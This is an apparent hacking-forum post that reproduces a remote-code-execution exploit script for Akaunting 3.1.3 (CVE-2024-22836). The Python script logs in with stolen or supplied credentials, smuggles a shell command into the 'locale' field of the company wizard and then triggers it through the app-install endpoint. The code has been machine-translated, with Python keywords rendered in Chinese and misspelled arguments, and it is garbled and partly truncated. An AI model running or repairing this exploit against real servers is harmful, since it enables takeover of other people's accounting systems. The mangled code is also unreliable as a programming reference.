H

Akaunting 3.1.3 -RCE

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Akaunting 3.1.3 -RCE
#日期: 08/02/2024
#利用作者: [email protected]
#供应商homepage: https://akaunting.com
#软件link: https://github.com/akaunting/akaunting
#版本:=3.1.3
#在: Ubuntu(22.04)测试
#CVE : CVE-2024-22836
#!/usr/bin/python3
导入系统
导入
导入请求
导入argparse
def get_company():
#print('[inf]检索公司ID .')
res=requests.get(target,标题=标题,cookie=cookie,laster_redirects=false)
如果res.status_code!=302:
打印('[err]找不到公司ID!')
sys.exit(3)
cid=res.headers ['location']。split('/')[ - 1]
如果cid=='login':
打印('[err]无效的会话cookie!')
sys.exit(7)
返回CID
def get_tokens(url):
res=requests.get(url,headers=标题,cookie=cookie,ally_redirects=false)
search_res=re.search(r'\'csrftoken \'\ : \'。*\'',res.text)
如果不是search_res:
打印('[err]无法获得CSRF令牌')
sys.exit(1)
数据={}
data ['csrf_token']=search_res.group()。split(':')[-1:] [0] .replace(''','')
data ['session']=res.cookies.get('akaunting_session')
返回数据
def inmect_command(cmd):
url=f'{target}/{company_id}/wizard/companies'
tokens=get_tokens(url)
headers.update({{'x-csrf-token':令牌['csrf_token']})
data={'_token': tokens ['csrf_token'],'_method':'post','_prefix':'company','locale': f'en_en_us f'en_us {cmd}'}'}'}
res=requests.post(url,headers=标题,cookies=cookie,json=data,lashe_redirects=false)
如果res.status_code==200:
res_data=res.json()
如果res_data ['错误'] :
打印('[err]命令注射失败!')
sys.exit(4)
打印('[inf]命令注入!')
def trigger_rce(app,版本='1.0.0'):
打印('[INF]执行命令.')
url=f'{target}/{company_id}/apps/install'
data={'Alias':应用,'version':版本,'path': f'apps/{app}/download'}
headers.update({'content-type':'Application/json'})
res=requests.post(url,headers=标题,cookies=cookie,json=data,lashe_redirects=false)
如果res.status_code==200:
res_data=res.json()
如果res_data ['错误'] :
search_res=re.search(r'exit代码\ :*',res_data ['message'])
如果search_res:
打印('[err]无法执行命令')
sys.exit(6)
打印('[err]无法安装应用程序!没有执行命令!')
sys.exit(5)
打印('[INF]成功执行!')
DEF登录(电子邮件,密码):
url=f'{target}/auth/login'
tokens=get_tokens(url)
cookies.update({
'akaunting_session':令牌['session']
}))
数据={
'_token':令牌['csrf_token'],
'_method':'post',
'电子邮件:电子邮件,
'password':密码
}
req=requests.post(url,headers=标题,cookies=cookie,data=data)
res=req.json()
如果res ['错误'] :
打印('[err]无法登录!')
sys.exit(8)
打印('[inf]登录')
cookies.update({{'akaunting_session': req.cookies.get('akaunting_session')})
def main():
inject_command(args.command)
trigger_rce(args.alias,args.version)
如果名称=='__ Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',help='target url')
parser.add_argument(' - 电子邮件',help='用户登录电子邮件。')
parser.add_argument(' - 密码',help='用户登录密码。')
parser.add_argument(' - i',' - id',type=int,help='company id(可选)。')
parser.add_argument(' - c',' - command',help='命令执行。')
parser.add_argument(' - a',' - alias',help='app别名,default: paypal-standard',默认值='paypal-standard')
parser.add_argument(' - av',' - version',help='app版本,default: 3.0.2',默认值='3.0.2')
args=parser.parse_args()
标题={'用户- 代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/105.0.5195.102 Safari/537.36'}
cookies={}
target=args.url
TRY:
登录(args.email,args.password)
company_id=get_company()如果不是args。
主要的()
Except:
sys.exit(0)
 
后退
顶部